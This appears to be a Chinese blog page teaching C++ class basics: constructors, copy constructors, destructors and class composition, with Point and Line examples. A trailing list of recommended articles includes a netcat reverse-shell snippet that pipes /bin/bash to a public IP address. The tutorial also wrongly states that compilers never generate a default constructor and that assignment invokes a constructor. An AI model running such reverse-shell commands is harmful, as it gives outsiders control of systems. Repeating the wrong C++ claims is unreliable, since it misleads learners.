类-基础知识

1. 语法定义

class class_name{
public:
公有成员(对外接口)
private:
私有成员(私有接口)
protected:
保护性成员
}
  • 成员包含了数据和方法两个部分

  • protected与private类似,其差别表现在继承与派生时对派生类的影响不同

  • 例子(点类)

    class Point
    {
    public:
    //构造函数
    Point(int xx=0, int yy=0) :x(xx), y(yy) {
    cout << "Calling contruction function of Point..." << endl;
    }
    //复制构造函数
    Point(Point &p) {
    cout << "Calling copy construction function of Point.." << endl;
    x = p.getX();
    y = p.getY();
    }
    //类方法
    int getX() { return x; }
    int getY() { return y; }
    void show() {
    cout << "(" << x << "," << y << ")" << endl;
    }
    private:
    int x, y;
    };

2. 类的实现

  • 数据成员定义在类内
  • 方法可以定义在类内,也可以在类外(类名加作用域限定符,指明这个函数是属于这个类的)

3. 三个基本的函数

3.1 构造函数

功能

用于在创建类时给类设定初值

形式

  • 函数名就是类名
  • 没有返回值类型和return语句
  • 可以有形参,也可以没有形参
  • 可以是内联函数
  • 可以重载(可以定义多个构造函数,符合语法即可)
  • 可以带默认参数,如果所有的参数都带默认参数,该构造函数就是默认构造函数

Note:在声明中定义了默认参数时,实现中不能再指定默认参数。下面代码运行会报错

void func(int x = 0);
void func(int x = 0){
cout << x << endl;
}

调用时机

  • 按照构造函数形式初始化类
  • 类之间的相互赋值=(不是复制构造函数)

默认构造函数

  • 未定义构造函数时,编译器默认不生成构造函数,如果需要,则指定为class_name()=default

  • 默认构造函数的函数列表为空

  • 类内定义了数据的初始值时,用初始值初始化,否则以默认方式初始化

  • 基本数据类型的初始化值不确定!

3.2 复制构造函数

功能

用一个已经初始化好的对象去初始化本类的一个新对象,形参为已知对象的引用(因为复制构造函数还未定义,无法通过复制的方式传递参数)

形式

class 类名 {
public :
类名( 形参);//构造函数
类名( const 类名 &对象名);//复制构造函数
// ...
};
  • 未定义复制构造函数时,编译器会生成默认的复制构造函数
  • 不让编译器生成默认构造函数需要用=delete指定

调用时机

  • 函数参数传递
  • 函数返回值
  • 以本类的一个对象作为初始值定义新的对象

3.3 析构函数

  • 完成对象被删除前的一些清理工作。
  • 在对象的生存期结束的时刻系统自动调用它,然后再释放此对象所属的空间。
  • 如果程序中未声明析构函数,编译器将自动产生一个默认的析构函数,其函数体为空。
  • 声明为~class_name()

4. 类组合

概念

一个类中的成员是另一个对象。比如线段类包含了点类:

class Line
{
//public:
// Line(Point pp1, Point pp2);
// Line(Line &l);
// double get_len() { return len; } private:
Point p1, p2;
double len;
};

设计

  • 要同时对本类基本成员和对象成员初始化

  • 声明:

    类名::类名(对象成员所需的形参,本类成员形参):对象1(参数),对象2(参数), ......
    {
    //函数体其他语句
    }

    Note:冒号后面的部分实际上是在调用复制构造函数。也可以将该部分省略,放到函数体内用=赋值

实例:线段类

// 点类
class Point
{
public:
Point(int xx=0, int yy=0) :x(xx), y(yy) {
cout << "Calling contruction function of Point..." << endl;
}
Point(Point &p) {
cout << "Calling copy construction function of Point.." << endl;
x = p.getX();
y = p.getY();
}
int getX() { return x; }
int getY() { return y; }
void show() {
cout << "(" << x << "," << y << ")" << endl;
}
private:
int x, y;
}; //线段类
class Line
{
public:
Line(Point pp1, Point pp2);
Line(Line &l);
double get_len() { return len; } private:
Point p1, p2;
double len;
}; Line::Line(Point pp1, Point pp2)
: p1(pp1), p2(pp2){
cout << "Calling constuction function of Line..." << endl;
double x = pp1.getX() - pp2.getX();
double y = pp1.getY() - pp2.getY();
len = sqrt(x * x + y * y);
}
Line::Line(Line &l){
p1 = l.p1;
p2 = l.p2;
len = l.get_len();
}

【C++】类-基础知识的更多相关文章

  1. java核心-多线程(4)-线程类基础知识

    1.并发 <1>使用并发的一个重要原因是提高执行效率.由于I/O等情况阻塞,单个任务并不能充分利用CPU时间.所以在单处理器的机器上也应该使用并发. <2>为了实现并发,操作系 ...

  2. Python类基础知识(面向对象基础)

    #首先 我们需要了解 面向过程是什么 面向对象是什么 我们为什么需要使用面向对象 面向过程:根据业务逻辑从上到下写垒代码 面向对象:根据代码对函数进行分类和封装 区别:解决问题的逻辑不同,但是都能解决 ...

  3. String类基础知识

    1.String类的构造方法 (1)String(String original)  //把字符串数据封装成字符串对象 (2)String(char[] c)   //把字符数组的数据封装成字符串对象 ...

  4. JAVA核心技术I---JAVA基础知识(工具类Arrays和Collections类)

    一:工具类 –不存储数据,而是在数据容器上,实现高效操作 • 排序 • 搜索 –Arrays类 –Collection类 二:Arrays类(处理数组) (一)基本方法 –排序:对数组排序, sort ...

  5. 背水一战 Windows 10 (76) - 控件(控件基类): Control - 基础知识, 焦点相关, 运行时获取 ControlTemplate 和 DataTemplate 中的元素

    [源码下载] 背水一战 Windows 10 (76) - 控件(控件基类): Control - 基础知识, 焦点相关, 运行时获取 ControlTemplate 和 DataTemplate 中 ...

  6. 背水一战 Windows 10 (75) - 控件(控件基类): FrameworkElement - 基础知识, 相关事件, HorizontalAlignment, VerticalAlignment

    [源码下载] 背水一战 Windows 10 (75) - 控件(控件基类): FrameworkElement - 基础知识, 相关事件, HorizontalAlignment, Vertical ...

  7. 第二十九节:Java基础知识-类,多态,Object,数组和字符串

    前言 Java基础知识-类,多态,Object,数组和字符串,回顾,继承,类的多态性,多态,向上转型和向下转型,Object,数组,多维数组,字符串,字符串比较. 回顾 类的定义格式: [类的修饰符] ...

  8. ASP.NET Core 基础知识(四) Startup.cs类

    ASP.NET Core应用程序需要一个启动类,按照约定命名为Startup.在 Program 类的主机生成器上调用 Build 时,将生成应用的主机, 通常通过在主机生成器上调用 WebHostB ...

  9. ASP.NET Core 基础知识(三) Program.cs类

    ASP.NET Framework应用程序是严重依赖于IIS的,System.Web 中有很多方法都是直接调用的 IIS API,并且它还是驻留在IIS进程中的.而 ASP.NET Core 的运行则 ...

随机推荐

  1. 我的邮箱客户端程序Popmail

    05年的时候写了一个邮箱客户端程序.当时主要目的是研究POP3和SMTP协议,同时锻炼自己的网络编程能力.当然了,如果自己写的邮箱客户端能够满足自身的日常工作需要,而不是频繁的登录不同的网页邮箱,那就 ...

  2. libevent源码学习(9):事件event

    目录在event之前需要知道的event_baseevent结构体创建/注册一个event向event_base中添加一个event设置event的优先级激活一个event删除一个event获取指定e ...

  3. windows10源码编译llvm

    准备 cmake, 我目前使用的版本是3.18 llvm 源码, 我下载的是 11.0 我已经具备Vs2015和Vs2017的开发环境. debug模式编译需要较多内存和较多硬盘存储空间. (debu ...

  4. 【LeetCode】216. Combination Sum III 解题报告(Python & C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述: 题目大意 解题方法 方法一:DFS 方法二:回溯法 日期 题目地址:h ...

  5. Netcat反弹shell的方法

    VPS监听: aliyun:  nc -lvnp 7777 监听7777端口 被监听: nc -w 10 -e /bin/bash 8.130.49.121 7777  (-w:连接超时时间 -e 使 ...

  6. Codeforces 450C:Jzzhu and Chocolate(贪心)

    C. Jzzhu and Chocolate time limit per test: 1 seconds memory limit per test: 256 megabytes input: st ...

  7. Auto-Encoding Variational Bayes

    目录 主要内容 Encoder (损失part1) Decoder (损失part2) 伯努利分布 高斯分布 代码 Kingma D P, Welling M. Auto-Encoding Varia ...

  8. 人脸识别中的重要环节-对齐之3D变换-Java版(文末附开源地址)

    一.人脸对齐基本概念 人脸对齐通过人脸关键点检测得到人脸的关键点坐标,然后根据人脸的关键点坐标调整人脸的角度,使人脸对齐,由于输入图像的尺寸是大小不一的,人脸区域大小也不相同,角度不一样,所以要通过坐 ...

  9. CS5211与PS8625参数差异|CS5211完全兼容PS8625|普瑞PS8625替代

    PS8625是一个DP显示端口 到LVDS转换器芯片,利用GPU和显示端口(DP) 或嵌入式显示端口(eDP) 输出和接受LVDS输入的显示面板.PS8625实现双通道DP输入,双链路LVDS输出.P ...

  10. 利用自定义动画 animate() 方法,实现某图书网站中“近 7 日畅销榜”中的图书无缝垂直向上滚动特效:当光标移入到图书上时,停止滚动,鼠标移开时,继续滚动

    查看本章节 查看作业目录 需求说明: 利用自定义动画 animate() 方法,实现某图书网站中"近 7 日畅销榜"中的图书无缝垂直向上滚动特效:当光标移入到图书上时,停止滚动,鼠 ...